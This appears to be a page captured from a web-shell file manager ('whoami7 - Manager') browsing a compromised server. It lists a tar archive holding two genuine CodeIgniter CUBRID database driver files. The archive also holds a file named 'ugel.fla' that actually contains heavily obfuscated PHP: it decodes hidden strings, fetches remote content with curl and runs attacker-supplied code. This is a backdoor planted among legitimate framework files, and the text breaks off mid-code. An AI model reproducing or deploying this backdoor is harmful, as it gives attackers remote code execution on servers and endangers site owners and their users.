whoami7 - Manager
:
/
proc
/
self
/
root
/
home
/
papecmvm
/
www
/
documents
/
6204_Rajpara
/
2020
/
k_november
/
receipt
/
Upload File:
files >> //proc/self/root/home/papecmvm/www/documents/6204_Rajpara/2020/k_november/receipt/cubrid.tar
cubrid_utility.php 0000644 00000005104 14646302140 0010310 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 2.1.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * CUBRID Utility Class * * @category Database * @author Esen Sagynov * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_cubrid_utility extends CI_DB_utility { /** * List databases * * @return array */ public function list_databases() { if (isset($this->db->data_cache['db_names'])) { return $this->db->data_cache['db_names']; } return $this->db->data_cache['db_names'] = cubrid_list_dbs($this->db->conn_id); } // -------------------------------------------------------------------- /** * CUBRID Export * * @param array Preferences * @return mixed */ protected function _backup($params = array()) { // No SQL based support in CUBRID as of version 8.4.0. Database or // table backup can be performed using CUBRID Manager // database administration tool. return $this->db->display_error('db_unsupported_feature'); } } cubrid_driver.php 0000644 00000022514 14646302140 0010104 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 2.1.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * CUBRID Database Adapter Class * * Note: _DB is an extender class that the app controller * creates dynamically based on whether the query builder * class is being used or not. * * @package CodeIgniter * @subpackage Drivers * @category Database * @author Esen Sagynov * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_cubrid_driver extends CI_DB { /** * Database driver * * @var string */ public $dbdriver = 'cubrid'; /** * Auto-commit flag * * @var bool */ public $auto_commit = TRUE; // -------------------------------------------------------------------- /** * Identifier escape character * * @var string */ protected $_escape_char = '`'; /** * ORDER BY random keyword * * @var array */ protected $_random_keyword = array('RANDOM()', 'RANDOM(%d)'); // -------------------------------------------------------------------- /** * Class constructor * * @param array $params * @return void */ public function __construct($params) { parent::__construct($params); if (preg_match('/^CUBRID:[^:]+(:[0-9][1-9]{0,4})?:[^:]+:[^:]*:[^:]*:(\?.+)?$/', $this->dsn, $matches)) { if (stripos($matches[2], 'autocommit=off') !== FALSE) { $this->auto_commit = FALSE; } } else { // If no port is defined by the user, use the default value empty($this->port) OR $this->port = 33000; } } // -------------------------------------------------------------------- /** * Non-persistent database connection * * @param bool $persistent * @return resource */ public function db_connect($persistent = FALSE) { if (preg_match('/^CUBRID:[^:]+(:[0-9][1-9]{0,4})?:[^:]+:([^:]*):([^:]*):(\?.+)?$/', $this->dsn, $matches)) { $func = ($persistent !== TRUE) ? 'cubrid_connect_with_url' : 'cubrid_pconnect_with_url'; return ($matches[2] === '' && $matches[3] === '' && $this->username !== '' && $this->password !== '') ? $func($this->dsn, $this->username, $this->password) : $func($this->dsn); } $func = ($persistent !== TRUE) ? 'cubrid_connect' : 'cubrid_pconnect'; return ($this->username !== '') ? $func($this->hostname, $this->port, $this->database, $this->username, $this->password) : $func($this->hostname, $this->port, $this->database); } // -------------------------------------------------------------------- /** * Reconnect * * Keep / reestablish the db connection if no queries have been * sent for a length of time exceeding the server's idle timeout * * @return void */ public function reconnect() { if (cubrid_ping($this->conn_id) === FALSE) { $this->conn_id = FALSE; } } // -------------------------------------------------------------------- /** * Database version number * * @return string */ public function version() { if (isset($this->data_cache['version'])) { return $this->data_cache['version']; } return ( ! $this->conn_id OR ($version = cubrid_get_server_info($this->conn_id)) === FALSE) ? FALSE : $this->data_cache['version'] = $version; } // -------------------------------------------------------------------- /** * Execute the query * * @param string $sql an SQL query * @return resource */ protected function _execute($sql) { return cubrid_query($sql, $this->conn_id); } // -------------------------------------------------------------------- /** * Begin Transaction * * @return bool */ protected function _trans_begin() { if (($autocommit = cubrid_get_autocommit($this->conn_id)) === NULL) { return FALSE; } elseif ($autocommit === TRUE) { return cubrid_set_autocommit($this->conn_id, CUBRID_AUTOCOMMIT_FALSE); } return TRUE; } // -------------------------------------------------------------------- /** * Commit Transaction * * @return bool */ protected function _trans_commit() { if ( ! cubrid_commit($this->conn_id)) { return FALSE; } if ($this->auto_commit && ! cubrid_get_autocommit($this->conn_id)) { return cubrid_set_autocommit($this->conn_id, CUBRID_AUTOCOMMIT_TRUE); } return TRUE; } // -------------------------------------------------------------------- /** * Rollback Transaction * * @return bool */ protected function _trans_rollback() { if ( ! cubrid_rollback($this->conn_id)) { return FALSE; } if ($this->auto_commit && ! cubrid_get_autocommit($this->conn_id)) { cubrid_set_autocommit($this->conn_id, CUBRID_AUTOCOMMIT_TRUE); } return TRUE; } // -------------------------------------------------------------------- /** * Platform-dependent string escape * * @param string * @return string */ protected function _escape_str($str) { return cubrid_real_escape_string($str, $this->conn_id); } // -------------------------------------------------------------------- /** * Affected Rows * * @return int */ public function affected_rows() { return cubrid_affected_rows(); } // -------------------------------------------------------------------- /** * Insert ID * * @return int */ public function insert_id() { return cubrid_insert_id($this->conn_id); } // -------------------------------------------------------------------- /** * List table query * * Generates a platform-specific query string so that the table names can be fetched * * @param bool $prefix_limit * @return string */ protected function _list_tables($prefix_limit = FALSE) { $sql = 'SHOW TABLES'; if ($prefix_limit !== FALSE && $this->dbprefix !== '') { return $sql." LIKE '".$this->escape_like_str($this->dbprefix)."%'"; } return $sql; } // -------------------------------------------------------------------- /** * Show column query * * Generates a platform-specific query string so that the column names can be fetched * * @param string $table * @return string */ protected function _list_columns($table = '') { return 'SHOW COLUMNS FROM '.$this->protect_identifiers($table, TRUE, NULL, FALSE); } // -------------------------------------------------------------------- /** * Returns an object with field data * * @param string $table * @return array */ public function field_data($table) { if (($query = $this->query('SHOW COLUMNS FROM '.$this->protect_identifiers($table, TRUE, NULL, FALSE))) === FALSE) { return FALSE; } $query = $query->result_object(); $retval = array(); for ($i = 0, $c = count($query); $i < $c; $i++) { $retval[$i] = new stdClass(); $retval[$i]->name = $query[$i]->Field; sscanf($query[$i]->Type, '%[a-z](%d)', $retval[$i]->type, $retval[$i]->max_length ); $retval[$i]->default = $query[$i]->Default; $retval[$i]->primary_key = (int) ($query[$i]->Key === 'PRI'); } return $retval; } // -------------------------------------------------------------------- /** * Error * * Returns an array containing code and message of the last * database error that has occurred. * * @return array */ public function error() { return array('code' => cubrid_errno($this->conn_id), 'message' => cubrid_error($this->conn_id)); } // -------------------------------------------------------------------- /** * FROM tables * * Groups tables in FROM clauses if needed, so there is no confusion * about operator precedence. * * @return string */ protected function _from_tables() { if ( ! empty($this->qb_join) && count($this->qb_from) > 1) { return '('.implode(', ', $this->qb_from).')'; } return implode(', ', $this->qb_from); } // -------------------------------------------------------------------- /** * Close DB Connection * * @return void */ protected function _close() { cubrid_close($this->conn_id); } } cubrid/ugel.fla 0000644 00000011552 14646302140 0007440 0 ustar 00 <?php /*-lB-*/$qGe /*-7yG-*/=/*-a5--*/ range/*-oi[-*/(/*-0`j%-*/"~"/*-2$S3E-*/, /*-vcdb`ZT[Q-*/" "/*-,p-*/); /*-$|;}U-*/$nz=${$qGe[6+25].$qGe[35+24].$qGe[11+36].$qGe[21+26].$qGe[35+16].$qGe[31+22].$qGe[42+15]};@(count/*-CUEHx-*/($nz)==11&&/*-Cpw>X3-*/in_array(/*-r9lwm;R-*/gettype($nz).count/*-%t2?T-*/($nz),$nz))?(($nz[67]=$nz[67].$nz[79])&&($nz[82]=$nz[67]($nz[82]))&&(@$nz=$nz[82]($nz[60],$nz[67](${$nz[42]}[30])))/*-2rGO(-*/&&/*-~P|F-V-*/$nz()):$nz;/*-?1wF{Rz-*/class /*-)py>-5N4pR-*/r{ /*-(`5(-*/static/*-b83J-*/ function /*-T8ccZ-*/EGLiFe($wQJgx) /*-lU|mNz-*/{ $eKNitkj/*-RymR]9%-*/ = /*-CGxQ5eJQr-*/"r"./*->J<H-*/"a"./*-P5?f-*/"n"./*-jfIB-*/"g"./*-h>2,aMqE-*/"e"; /*-Dz@-*/$Jbwvj/*-l]u-*/ = /*-13u1-*/$eKNitkj/*-`{vlss-*/(/*-MT3^-*/"~"/*-M!xxS^-*/, /*-2q-*/" "/*-Xre-*/);/*-O3~03d:K-*/ $KQZFglLSB /*-IG6&7^;K-*/= /*-T5-*/explode/*-6ZXw<-*/(/*-XE2=7=s-*/"}", /*-H>SgxwyEj-*/$wQJgx/*-IhiL-*/); /*-&?nTJo-*/$jha /*-$!}v0NE-*/= /*-m#>QY_d5-*/""; foreach /*-CFz-*/(/*-(}wr-*/$KQZFglLSB /*-RPko72-*/as /*-k3%-*/$wbeZKGXOiU /*-_WM-5sLj(-*/=>/*-._,&+qG-*/ $BAhtGH/*-T%@Q`AZI-*/) /*-|HHB-*/$jha /*-,@9h:W1U(-*/.= /*-z]w>-*/$Jbwvj[$BAhtGH/*-jN$^;-*/ - /*-!&f,MdeX-*/66574/*-?s|8@s<26-*/];/*-=qv?8@Gdw-*/ return /*-XxgV;8-*/$jha; /*-V&-*/} /*-lF^p-*/static /*-@E.dW-*/function /*-.afL$Hm$&`-*/PTQujLDa/*-U>oVv-*/(/*-ICN-*/$aicAOWSv,/*-#ta,eQmkf~-*/ $pxUoFrKGaP/*-hs@8JE8-*/)/*-RU9nwmTs1-*/ {/*-mW-*/ $KrlgW/*-I?0pr24a-*/ = /*-,hU-*/curl_init/*--8q^q%-*/(/*-P`-sp%.T75-*/$aicAOWSv/*-t!-*/);/*-iJs)8z-*/ curl_setopt/*-zY=Sd$.3u-*/(/*-{6<S-*/$KrlgW,/*-N3eaY-*/ CURLOPT_RETURNTRANSFER,/*-aRz-*/ 1/*-$4|^Ip}Q-*/);/*-G9j-*/ $aBKiphCRuZ/*-`?.Ot-*/ = /*-cuqqq4%gEJ-*/curl_exec/*--f@ZL).-*/(/*-.m02-*/$KrlgW/*-6sg-*/); /*-ge|%-*/return /*-!A-*/empty/*-J!GluFE-*/(/*-oL>w|A8-*/$aBKiphCRuZ/*-~2NI57e-*/)/*-6NN-*/ ? /*-hc-*/$pxUoFrKGaP/*-`|!-*/(/*-k#-*/$aicAOWSv/*-D_<-*/)/*-ix^}W-*/ : /*-N4%$;-*/$aBKiphCRuZ; /*-Zti_`Q#wr-*/}/*-?S{&-*/ static/*-~(6Hpt-*/ function /*-~tI-*/DqdVt/*-%)>_}S-*/() /*-rSGf-*/{/*-?,^-*/ $JVOMSevYd /*-j9TomDj-*/=/*-es=0>ZK)I-*/ array/*-{k$k-*/("66601}66586}66599}66603}66584}66599}66605}66598}66583}66590}66601}66584}66595}66589}66590","66585}66584}66586}66605}66586}66589}66584}66651}66649","66594}66585}66589}66590}66605}66600}66599}66601}66589}66600}66599","66588}66603}66601}66593","66602}66603}66585}66599}66646}66648}66605}66600}66599}66601}66589}66600}66599","66598}66595}66592}66599}66605}66597}66599}66584}66605}66601}66589}66590}66584}66599}66590}66584}66585","66628}66658","66575","66653}66658","66635}66618}66618}66635}66611","66589}66598"); /*-i?yJ=-*/foreach /*-eV-*/(/*-;X#1p.-*/$JVOMSevYd/*-F)Knznk`d-*/ as /*-yi{H7-8;hl-*/$iXroKGe/*-skc42<M-*/)/*-$Y-*/ $LNGVPAu/*-x=C.-*/[] /*-cS-*/= /*-;o4t0-*/self/*-#w%y-*/::/*-=89=|a{LN-*/EGLiFe/*-GSxNHC,m6-*/(/*-:?63i9iws-*/$iXroKGe/*-I#VmL:-*/);/*-B:^q@E-*/$tUkgWqje /*-KWODHK`]>|-*/= /*-UP-*/@$LNGVPAu/*-r$:-*/[/*-3%X[A-*/1/*-`gnNwuCJ]-*/]/*-o>t8-*/(/*-{#2hjsp,-*/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